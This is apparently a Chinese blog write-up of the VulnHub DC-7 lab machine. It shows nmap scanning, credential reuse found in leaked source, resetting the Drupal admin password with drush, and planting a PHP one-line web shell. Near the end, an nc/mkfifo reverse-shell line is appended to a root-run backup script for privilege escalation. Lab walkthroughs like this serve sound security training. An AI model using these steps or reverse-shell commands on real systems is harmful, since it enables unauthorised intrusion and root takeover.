DC-7

准备工作

在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub
靶机导入VMware 网络适配器改为NAT模式

image-20220519091001213

靶机IP为 192.168.1.16

信息收集

nmap -A -T4 -sV -p - 192.168.1.16 对目标进行扫描

开放了22、80端口。访问80端口发现是Drupal的CMS

image-20220519091402852

进行目录扫描

dirsearch -u http://192.168.1.16

没有发现什么有用的线索

观察页面发现作者信息

然后就在GitHub上找到了源码

Drush

可以看到我们获取到了数据库的用户名和密码,尝试远程连接数据库

mysql -h 192.168.1.16 -u dc7user -p MdR3xOgB7#dW

image-20220519095732014

失败了

尝试使用ssh

成功 并且可以看到有一封邮件,我们进去mail文件查看

看内容是通过这个脚本/opt/scripts/backups.sh将数据库自动备份到/home/dc7user/backups/website.sql,这个脚本还是root权限

在这个脚本中发现了 Drush命令

Drush是Drupal的命令行shell和Unix脚本接口。Drush Core附带了许多有用的命令,可用于与模块/主题/配置文件等代码进行交互。gpg是加密的命令

查了一下drush命令可以修改密码,但是使用drush命令的时候要先切换到网站源码所在的目录,不然会报错

进入网站目录/var/www/html。用drush命令将admin的密码改成admin

drush user-password admin --password=``"admin"``  

成功登录到后台 寻找可以利用的点

记得前面的靶机中,drupal有个模块可以执行php代码来着。

寻找cms中模块安装功能在哪,百度寻找该cms存在漏洞的功能模块等,尝试安装存在漏洞的功能模块/主题/插件,最后通过其漏洞实现侵入。

进入后台发现这里可以编辑页面,那就可以写一句话木马,但是查到drupal8不支持php代码,查找资料发现需要导入一个模块

模块地址https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz  输入直接安装

选第二个选项,拉到下面将PHPFiter勾选,再拉到底部安装

然后回到刚刚编辑首页,可以看到有php的选项了,插入一句话代码

使用蚁剑连接并反弹shell

使用python反弹shell

python -c 'import pty;pty.spawn("/bin/bash")'

权限提升

然后翻阅别人的文章,抄过来一条命令

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.16 4444 >/tmp/f" >> backups.sh

rm /tmp/f;

mkfifo /tmp/f;

cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.67.144 4444 >/tmp/f

rm /tmp/f 删除该文件(以免跟后面定义的 管道符 冲突)

mkfifo /tmp/f 这是创建自定义有名管道符。管道符的名称是 /tmp/f (用于进程间的通讯, 如 ls > /tmp/f ,cat /tmp/f ,连通两个进程之间的通讯)

cat /tmp/f 取出管道符中的内容, |/bin/sh -i 2>&1 将前面取出的内容作为 输入 ,输入给 /bin/sh ,再将bash 的标准错误输出 也作为标准输入 (2 >&1)给bash ,然后再将bash的输出,传给nc 远程,再将nc 传来的数据,写入 管道符 /tmp/f 。最后首尾接通了。

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.16 1234 >/tmp/f" >> backups.sh

然后监听1234端口即可

成功获得flag

参考文章

DC-7 靶机渗透测试 - Bitores - 博客园 (cnblogs.com)  

DC:7靶机-Walkthrough_ins1ght的博客-CSDN博客

posted @ 2022-05-19 11:23  vir-k  阅读(189)  评论(0编辑  收藏  举报